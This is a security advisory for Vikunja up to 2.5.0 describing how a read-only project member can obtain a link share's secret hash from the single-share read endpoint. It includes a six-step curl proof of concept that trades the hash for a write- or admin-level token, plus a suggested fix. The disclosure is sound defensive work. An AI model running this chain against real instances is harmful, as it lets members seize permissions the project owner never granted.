GHSA-QFWC-VX6F-3G6G

Vulnerability from github – Published: 2026-10-09 20:51 – Updated: 2026-10-09 20:51
VLAI
Summary
Vikunja: Read-only project members can obtain any link share's access hash via the single-share read endpoint (v1 and v2) and escalate to the share's permission level
Details

Summary

A user who has only read permission on a project can call the single link-share read endpoint and receive the share's hash field — the secret credential that the anonymous POST /shares/{share}/auth endpoint exchanges for a link-share JWT carrying the share's permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint's gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too.

Details

Affected endpoints (both verified with a complete chain):

  • v1: GET /api/v1/projects/{project}/shares/{share}
  • v2: GET /api/v2/projects/{project}/shares/{share}

Permission gate: LinkSharing.CanRead (pkg/models/link_sharing_permissions.go) delegates to project.CanRead(s, a) — i.e. any user with read access to the project passes. The response serializes the hash field (pkg/models/link_sharing.go, field tag json:"hash"), which is the share's bearer credential. The share password field is correctly cleared before returning, but the hash is not restricted.

Inconsistent with the sibling list endpoint GET /projects/{project}/shares (LinkSharing.ReadAll, pkg/models/link_sharing.go:243-256), which requires project.IsAdmin — the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 handler.DoReadOne wrappers call the same CanRead), so both surfaces are affected.

Impact chain: hash -> POST /api/v1/shares/{hash}/auth (unauthenticated by design) -> link-share JWT at the share's permission level -> full API access at that level for that project.

Mitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharing_type=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members.

PoC

Steps below use two accounts: the owner (token $OWNER) and an attacker who has been granted read-only access to the project (token $READER). All requests were executed against a local Vikunja 2.5.0 instance.

  1. Owner creates a private project and a read-write link share (permission=1):
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \
  -H 'Content-Type: application/json' -d '{"title":"poc"}'
# -> {"id":123,...}

curl -X PUT "$BASE/api/v1/projects/123/shares" -H "Authorization: Bearer $OWNER" \
  -H 'Content-Type: application/json' -d '{"name":"poc","permission":1}'
# -> {"id":7,"hash":"<SECRET_HASH>",...}
  1. Owner adds the attacker as a read-only member (permission=0):
curl -X PUT "$BASE/api/v1/projects/123/users" -H "Authorization: Bearer $OWNER" \
  -H 'Content-Type: application/json' -d '{"username":"attacker","permission":0}'
  1. Attacker reads the single share — the weak gate — and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here):
curl "$BASE/api/v1/projects/123/shares/7" -H "Authorization: Bearer $READER"
# -> 200 {"id":7,"hash":"<SECRET_HASH>","permission":1,...}
# v2 twin behaves identically:
curl "$BASE/api/v2/projects/123/shares/7" -H "Authorization: Bearer $READER"
# -> 200 {"hash":"<SECRET_HASH>",...}
  1. Attacker exchanges the hash for a link-share JWT (no authentication required):
curl -X POST "$BASE/api/v1/shares/<SECRET_HASH>/auth" \
  -H 'Content-Type: application/json' -d '{}'
# -> 200 {"token":"<LINK_JWT>",...}
  1. Negative control — the attacker's own user token cannot write to the project:
curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer $READER" \
  -H 'Content-Type: application/json' -d '{"title":"direct"}'
# -> 403 Forbidden
  1. Escalation proof — the link-share JWT writes successfully:
curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer <LINK_JWT>" \
  -H 'Content-Type: application/json' -d '{"title":"escalated"}'
# -> 201 Created

Observed result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 — the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available).

Impact

Broken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project that has a link share can escalate to that share's permission level: write members' tasks/comments can be created and modified; an admin-level share additionally grants project settings and share management for the project. Confidentiality is also affected insofar as the hash itself is the project's shared secret. Suggested fix: require project.IsAdmin in LinkSharing.CanRead (aligning with ReadAll), or omit the hash field from responses to non-admin members.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-91985"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:51:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA user who has only read permission on a project can call the single link-share read endpoint and receive the share\u0027s `hash` field \u2014 the secret credential that the anonymous `POST /shares/{share}/auth` endpoint exchanges for a link-share JWT carrying the share\u0027s permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint\u0027s gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too.\n\n## Details\n\nAffected endpoints (both verified with a complete chain):\n\n- v1: `GET /api/v1/projects/{project}/shares/{share}`\n- v2: `GET /api/v2/projects/{project}/shares/{share}`\n\nPermission gate: `LinkSharing.CanRead` (`pkg/models/link_sharing_permissions.go`) delegates to `project.CanRead(s, a)` \u2014 i.e. any user with read access to the project passes. The response serializes the `hash` field (`pkg/models/link_sharing.go`, field tag `json:\"hash\"`), which is the share\u0027s bearer credential. The share `password` field is correctly cleared before returning, but the hash is not restricted.\n\nInconsistent with the sibling list endpoint `GET /projects/{project}/shares` (`LinkSharing.ReadAll`, `pkg/models/link_sharing.go:243-256`), which requires `project.IsAdmin` \u2014 the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 `handler.DoReadOne` wrappers call the same `CanRead`), so both surfaces are affected.\n\nImpact chain: hash -\u003e `POST /api/v1/shares/{hash}/auth` (unauthenticated by design) -\u003e link-share JWT at the share\u0027s permission level -\u003e full API access at that level for that project.\n\nMitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharing_type=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members.\n\n## PoC\n\nSteps below use two accounts: the owner (token `$OWNER`) and an attacker who has been granted read-only access to the project (token `$READER`). All requests were executed against a local Vikunja 2.5.0 instance.\n\n1. Owner creates a private project and a read-write link share (permission=1):\n\n```\ncurl -X PUT \"$BASE/api/v1/projects\" -H \"Authorization: Bearer $OWNER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"title\":\"poc\"}\u0027\n# -\u003e {\"id\":123,...}\n\ncurl -X PUT \"$BASE/api/v1/projects/123/shares\" -H \"Authorization: Bearer $OWNER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"name\":\"poc\",\"permission\":1}\u0027\n# -\u003e {\"id\":7,\"hash\":\"\u003cSECRET_HASH\u003e\",...}\n```\n\n2. Owner adds the attacker as a read-only member (permission=0):\n\n```\ncurl -X PUT \"$BASE/api/v1/projects/123/users\" -H \"Authorization: Bearer $OWNER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"username\":\"attacker\",\"permission\":0}\u0027\n```\n\n3. Attacker reads the single share \u2014 the weak gate \u2014 and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here):\n\n```\ncurl \"$BASE/api/v1/projects/123/shares/7\" -H \"Authorization: Bearer $READER\"\n# -\u003e 200 {\"id\":7,\"hash\":\"\u003cSECRET_HASH\u003e\",\"permission\":1,...}\n# v2 twin behaves identically:\ncurl \"$BASE/api/v2/projects/123/shares/7\" -H \"Authorization: Bearer $READER\"\n# -\u003e 200 {\"hash\":\"\u003cSECRET_HASH\u003e\",...}\n```\n\n4. Attacker exchanges the hash for a link-share JWT (no authentication required):\n\n```\ncurl -X POST \"$BASE/api/v1/shares/\u003cSECRET_HASH\u003e/auth\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027\n# -\u003e 200 {\"token\":\"\u003cLINK_JWT\u003e\",...}\n```\n\n5. Negative control \u2014 the attacker\u0027s own user token cannot write to the project:\n\n```\ncurl -X PUT \"$BASE/api/v1/projects/123/tasks\" -H \"Authorization: Bearer $READER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"title\":\"direct\"}\u0027\n# -\u003e 403 Forbidden\n```\n\n6. Escalation proof \u2014 the link-share JWT writes successfully:\n\n```\ncurl -X PUT \"$BASE/api/v1/projects/123/tasks\" -H \"Authorization: Bearer \u003cLINK_JWT\u003e\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"title\":\"escalated\"}\u0027\n# -\u003e 201 Created\n```\n\nObserved result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 \u2014 the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available).\n\n## Impact\n\nBroken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project that has a link share can escalate to that share\u0027s permission level: write members\u0027 tasks/comments can be created and modified; an admin-level share additionally grants project settings and share management for the project. Confidentiality is also affected insofar as the hash itself is the project\u0027s shared secret. Suggested fix: require `project.IsAdmin` in `LinkSharing.CanRead` (aligning with `ReadAll`), or omit the `hash` field from responses to non-admin members.",
  "id": "GHSA-qfwc-vx6f-3g6g",
  "modified": "2026-10-09T20:51:29Z",
  "published": "2026-10-09T20:51:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-qfwc-vx6f-3g6g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91985"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/3688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/077dc4de79ce6f1ab59215a2c7bf9b30423685f2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-privilege-escalation-via-link-share-hash"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Vikunja: Read-only project members can obtain any link share\u0027s access hash via the single-share read endpoint (v1 and v2) and escalate to the share\u0027s permission level"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…